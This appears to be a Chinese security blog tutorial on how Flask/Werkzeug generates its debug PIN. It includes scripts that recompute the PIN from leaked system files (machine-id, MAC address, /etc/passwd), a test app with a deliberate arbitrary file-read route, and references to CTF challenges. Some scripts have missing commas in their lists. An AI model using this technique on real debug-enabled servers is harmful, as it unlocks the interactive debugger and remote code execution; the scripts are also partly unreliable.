<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    深入淺出Flask PIN

    VSole2022-08-01 16:32:31

    最近搞SSTI,發現有的開發開了debug,由此想到了PIN,但一直沒有對這個點做一個深入剖析,今天就完整的整理Flask Debug PIN碼的生成原理與安全問題。

    PIN是什么?

    PIN是 Werkzeug(它是 Flask 的依賴項之一)提供的額外安全措施,以防止在不知道 PIN 的情況下訪問調試器。您可以使用瀏覽器中的調試器引腳來啟動交互式調試器。

    請注意,無論如何,您都不應該在生產環境中使用調試模式,因為錯誤的堆棧跟蹤可能會揭示代碼的多個方面。

    調試器 PIN 只是一個附加的安全層,以防您無意中在生產應用程序中打開調試模式,從而使攻擊者難以訪問調試器。

    ——來自StackOverFlow回答

    werkzeug不同版本以及python不同版本都會影響PIN碼的生成

    但是PIN碼并不是隨機生成,當我們重復運行同一程序時,生成的PIN一樣,PIN碼生成滿足一定的生成算法

    探尋PIN碼生成算法

    筆者環境

    ?Python 3.10.2

    ?Flask 2.0.3

    ?PyCharm 2021.3.3 (Professional Edition)

    ?Windows 10 專業版 21H2

    ?Docker Desktop 4.7.0

    先寫一個簡單的Flask測試程序

    from flask import Flaskapp = Flask(__name__)
    @app.route("/")def hello():    return '合天網安實驗室-實踐型網絡安全在線學習平臺;真實環境,在線實操學網絡安全。'
    if __name__ == "__main__":    app.run(host="0.0.0.0", port=8080, debug=True)
    

    運行,控制臺狀態如下

    瀏覽器如下則成功

    接下來開始調試程序,順藤摸瓜找到生成PIN碼的函數

    PIN碼是werkzeug的策略,先找到flask中導入werkzeug的部分

    調試

    在run.app行下斷點,點擊調試

    點擊步入

    轉到了flask/app.py,直接Ctrl+F搜索werkzeug

    發現程序從werkzeug導入了run_simple模塊,而且try部分有run app的參數

    我們直接按住ctrl點擊run_simple進去看看

    此時進入了seving.py,找到了負責Debug的部分,PIN碼是在debug狀態下才有的,那這個部分很有可能存有PIN碼生成部分,進去看看

    此時進入了__init__.py,經過一番審計,先來看一看pin函數

    主要是get_pin_and_cookie_name函數,進去看看

    def get_pin_and_cookie_name(    app: "WSGIApplication",) -> t.Union[t.Tuple[str, str], t.Tuple[None, None]]:    """Given an application object this returns a semi-stable 9 digit pin    code and a random key.  The hope is that this is stable between    restarts to not make debugging particularly frustrating.  If the pin    was forcefully disabled this returns `None`.
        Second item in the resulting tuple is the cookie name for remembering.    """    pin = os.environ.get("WERKZEUG_DEBUG_PIN")    rv = None    num = None
        # Pin was explicitly disabled    if pin == "off":        return None, None
        # Pin was provided explicitly    if pin is not None and pin.replace("-", "").isdigit():        # If there are separators in the pin, return it directly        if "-" in pin:            rv = pin        else:            num = pin
        modname = getattr(app, "__module__", t.cast(object, app).__class__.__module__)    username: t.Optional[str]
        try:        # getuser imports the pwd module, which does not exist in Google        # App Engine. It may also raise a KeyError if the UID does not        # have a username, such as in Docker.        username = getpass.getuser()    except (ImportError, KeyError):        username = None
        mod = sys.modules.get(modname)
        # This information only exists to make the cookie unique on the    # computer, not as a security feature.    probably_public_bits = [        username,        modname,        getattr(app, "__name__", type(app).__name__),        getattr(mod, "__file__", None),    ]
        # This information is here to make it harder for an attacker to    # guess the cookie name.  They are unlikely to be contained anywhere    # within the unauthenticated debug page.    private_bits = [str(uuid.getnode()), get_machine_id()]
        h = hashlib.sha1()    for bit in chain(probably_public_bits, private_bits):        if not bit:            continue        if isinstance(bit, str):            bit = bit.encode("utf-8")        h.update(bit)    h.update(b"cookiesalt")
        cookie_name = f"__wzd{h.hexdigest()[:20]}"
        # If we need to generate a pin we salt it a bit more so that we don't    # end up with the same value and generate out 9 digits    if num is None:        h.update(b"pinsalt")        num = f"{int(h.hexdigest(), 16):09d}"[:9]
        # Format the pincode in groups of digits for easier remembering if    # we don't have a result yet.    if rv is None:        for group_size in 5, 4, 3:            if len(num) % group_size == 0:                rv = "-".join(                    num[x : x + group_size].rjust(group_size, "0")                    for x in range(0, len(num), group_size)                )                break        else:            rv = num
        return rv, cookie_name
    

    返回的rv就是PIN碼,但這個函數核心是將列表里的值hash,我們不需要去讀懂這段代碼,只需要將列表里的值填上直接運行代碼就行。

    生成要素:

    username

    通過getpass.getuser()讀取,通過文件讀取/etc/passwd

    modname

    通過getattr(mod,“file”,None)讀取,默認值為flask.app

    appname

    通過getattr(app,“name”,type(app).name)讀取,默認值為Flask

    moddir

    當前網絡的mac地址的十進制數,通過getattr(mod,“file”,None)讀取實際應用中通過報錯讀取

    uuidnode

    通過uuid.getnode()讀取,通過文件/sys/class/net/eth0/address得到16進制結果,轉化為10進制進行計算

    machine_id

    每一個機器都會有自已唯一的id,machine_id由三個合并(docker就后兩個):1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup

    當這6個值我們可以獲取到時,就可以推算出生成的PIN碼

    生成算法

    修改一下就是PIN生成算法

    import hashlibfrom itertools import chain
    probably_public_bits = [    'root',  # username    'flask.app',  # modname    'Flask',  # getattr(app, '__name__', getattr(app.__class__, '__name__'))    '/usr/local/lib/python3.7/site-packages/flask/app.py'  # getattr(mod, '__file__', None),]
    # This information is here to make it harder for an attacker to# guess the cookie name.  They are unlikely to be contained anywhere# within the unauthenticated debug page.private_bits = [    '2485377957890',  # str(uuid.getnode()),  /sys/class/net/ens33/address    # Machine Id: /etc/machine-id + /proc/sys/kernel/random/boot_id + /proc/self/cgroup    '861c92e8075982bcac4a021de9795f6e3291673c8c872ca3936bcaa8a071948b']
    h = hashlib.sha1()for bit in chain(probably_public_bits, private_bits):    if not bit:        continue    if isinstance(bit, str):        bit = bit.encode("utf-8")    h.update(bit)h.update(b"cookiesalt")
    cookie_name = f"__wzd{h.hexdigest()[:20]}"
    # If we need to generate a pin we salt it a bit more so that we don't# end up with the same value and generate out 9 digitsnum = Noneif num is None:    h.update(b"pinsalt")    num = f"{int(h.hexdigest(), 16):09d}"[:9]
    # Format the pincode in groups of digits for easier remembering if# we don't have a result yet.rv = Noneif rv is None:    for group_size in 5, 4, 3:        if len(num) % group_size == 0:            rv = "-".join(                num[x: x + group_size].rjust(group_size, "0")                for x in range(0, len(num), group_size)            )            break    else:        rv = num
    print(rv)
    

    然后這里還有一個點,python不同版本的算法區別

    不同版本算法區別

    3.6采用MD5加密,3.8采用sha1加密,所以腳本有所不同

    3.6 MD5

    #MD5import hashlibfrom itertools import chainprobably_public_bits = [     'flaskweb'     'flask.app',     'Flask',     '/usr/local/lib/python3.7/site-packages/flask/app.py']
    private_bits = [     '25214234362297',     '0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa']
    h = hashlib.md5()for bit in chain(probably_public_bits, private_bits):    if not bit:        continue    if isinstance(bit, str):        bit = bit.encode('utf-8')    h.update(bit)h.update(b'cookiesalt')
    cookie_name = '__wzd' + h.hexdigest()[:20]
    num = Noneif num is None:   h.update(b'pinsalt')   num = ('%09d' % int(h.hexdigest(), 16))[:9]
    rv =Noneif rv is None:   for group_size in 5, 4, 3:       if len(num) % group_size == 0:          rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')                      for x in range(0, len(num), group_size))          break       else:          rv = num
    print(rv)3.8 SHA1#sha1import hashlibfrom itertools import chainprobably_public_bits = [    'root'    'flask.app',    'Flask',    '/usr/local/lib/python3.8/site-packages/flask/app.py']
    private_bits = [    '2485377581187',    '653dc458-4634-42b1-9a7a-b22a082e1fce55d22089f5fa429839d25dcea4675fb930c111da3bb774a6ab7349428589aefd']
    h = hashlib.sha1()for bit in chain(probably_public_bits, private_bits):    if not bit:        continue    if isinstance(bit, str):        bit = bit.encode('utf-8')    h.update(bit)h.update(b'cookiesalt')
    cookie_name = '__wzd' + h.hexdigest()[:20]
    num = Noneif num is None:    h.update(b'pinsalt')    num = ('%09d' % int(h.hexdigest(), 16))[:9]
    rv =Noneif rv is None:    for group_size in 5, 4, 3:        if len(num) % group_size == 0:            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')                          for x in range(0, len(num), group_size))            break    else:        rv = num
    print(rv)
    

    其實最穩妥的方法就是自己調試,把自己版本的生成PIN部分提取出來,把num和rv改成None,直接print rv就行

    docker測試

    本地docker在Windows上

    我們將上面的測試代碼修改為下,加入文件讀取功能,并且return 0當我們傳值錯誤可出發debug模式

    from flask import Flask, requestapp = Flask(__name__)
    @app.route("/")def hello():    return '合天網安實驗室-實踐型網絡安全在線學習平臺;真實環境,在線實操學網絡安全。'
    @app.route("/file")def file():    filename = request.args.get('filename')    try:        with open(filename, 'r') as f:            return f.read()    except:        return 0
    if __name__ == "__main__":    app.run(host="0.0.0.0", port=9000, debug=True)
    

    回到我們的環境,模塊路徑通過傳入錯誤文件名觸發報錯可得到,主要就是machine-id,其他部分直接出的就不用看了,docker環境只需要后倆

    拼接起來,代入程序,直接運行

    與環境里的一致

    如果大家嫌開環境麻煩這里推薦兩個線上靶場,這倆都是計算PIN

    ?[GYCTF2020]FlaskApp——BUUCTF

    ?web801——CTFshow

    flasknum
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    深入淺出Flask PIN
    2022-08-01 16:32:31
    最近搞SSTI,發現有的開發開了debug,由此想到了PIN,但一直沒有對這個點做一個深入剖析,今天就完整的整理Flask Debug PIN碼的生成原理與安全問題。PIN是 Werkzeug提供的額外安全措施,以防止在不知道 PIN 的情況下訪問調試器。
    F-vuln(全稱:Find-Vulnerability)是為了自己工作方便專門編寫的一款自動化工具,主要適用于日常安全服務、滲透測試人員和RedTeam紅隊人員,它集合的功能包括:存活IP探測、開放端口探測、web服務探測、web漏洞掃描、smb爆破、ssh爆破、ftp爆破、mssql爆破等其他數據庫爆破工作以及大量web漏洞檢測模塊。
    (翻譯版)Numpy反序列化命令執行淺析代碼審計Python安全編碼和代碼審計Python代碼審計連載之一:CSRF?p=738Python代碼審計連載之三:Server Side Request?p=744Python代碼審計連載之四:Command Execution?p=747Dangerous Python Functions, Part 1Dangerous Python Functions, Part 2Dangerous Python Functions, Part 3記一下PythonWeb代碼審計應該注意的地方廖新喜大佬的python代碼審計工具來自openstack安全團隊的python代碼靜態審計工具來自openstack安全團隊的python代碼靜態審計工具2代碼審計工具pytxfkxfk的python自動化代碼審計?
    MTCTF-2022 部分WriteUp
    2022-11-23 09:35:37
    MTCTF 本次比賽主力輸出選手Article&Messa&Oolongcode,累計解題3Web,2Pwn,1Re,1CryptoWeb★easypickle題目給出源碼:。import base64import picklefrom flask import Flask, sessionimport osimport random. @app.route('/')def hello_world(): if not session.get: session['user'] = ''.join return 'Hello {}!\x93作用同c,但是將從stack中出棧兩元素分別導入的模塊名和屬性名:此外對于藍帽杯WP還存在一個小問題,原題采用_loads函數加載pickle數據但本題是loads,在opcodes處理上會有些微不通具體來說就是用loads加載時會報錯誤如下:對著把傳入參數換成元組就行,最終的payload如下
    Web框架的請求上下文
    2022-04-21 16:54:48
    最近在研究web框架時,對"請求上下文"這個基礎概念有了更多的了解,因此記錄一下,包括以下內容: "請求上下文"是什么? web框架(flask和gin)實現"請求上下文"的區別? "線程私有數據"是什么? 學習過程 "請求上下文"是什么? 根據 Go語言動手寫Web框架 - Gee第二天 上下文Context[1] 和 Context:請求控制器,讓每個請求都在掌控之中[2] 兩篇文章
    靶機Agile補充圖片
    2023-03-22 10:04:15
    Nmap done: 1 IP address scanned in 171.68 seconds. 添加host└─# echo "10.10.11.203 superpass.htb" >> /etc/hosts. 注冊個賬號就讀取了。我們可以在 python 中創建一個腳本,自動實現這個過程,只需要輸入的文件路徑└─# cat lfi.py. data = {"username": "123", "password": "123", "submit": ""}
    強網杯-WriteUp
    2022-08-02 08:02:30
    然后使用 admin/123登錄管理員賬戶即可,登錄后存在購買頁面,經過測試,使用如下 payload 可以繞過檢查,再訪問主頁面即可獲得 flag
    就需要了解一下名稱空間python的名稱空間,是從名稱到對象的映射,在python程序的執行過程中,至少會存在兩個名稱空間。python中一切均為對象,均繼承于object對象,python的object類中集成了很多的基礎函數,假如我們需要在payload中使用某個函數就需要用object去操作。
    XS-Leaks 和 csrf 較為相似。瀏覽器提供了多種功能來支持不同 Web 應用程序之間的交互;例如,它們允許網站加載子資源、導航或向另一個應用程序發送消息。
    sql注入已經出世很多年了,對于sql注入的概念和原理很多人應該是相當清楚了,SSTI也是注入類的漏洞,其成因其實是可以類比于sql注入的。BladeBlade 是 Laravel 提供的一個既簡單又強大的模板引擎。它不是面向最終用戶的,而是一個Java類庫,是一款程序員可以嵌入他們所開發產品的組件。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类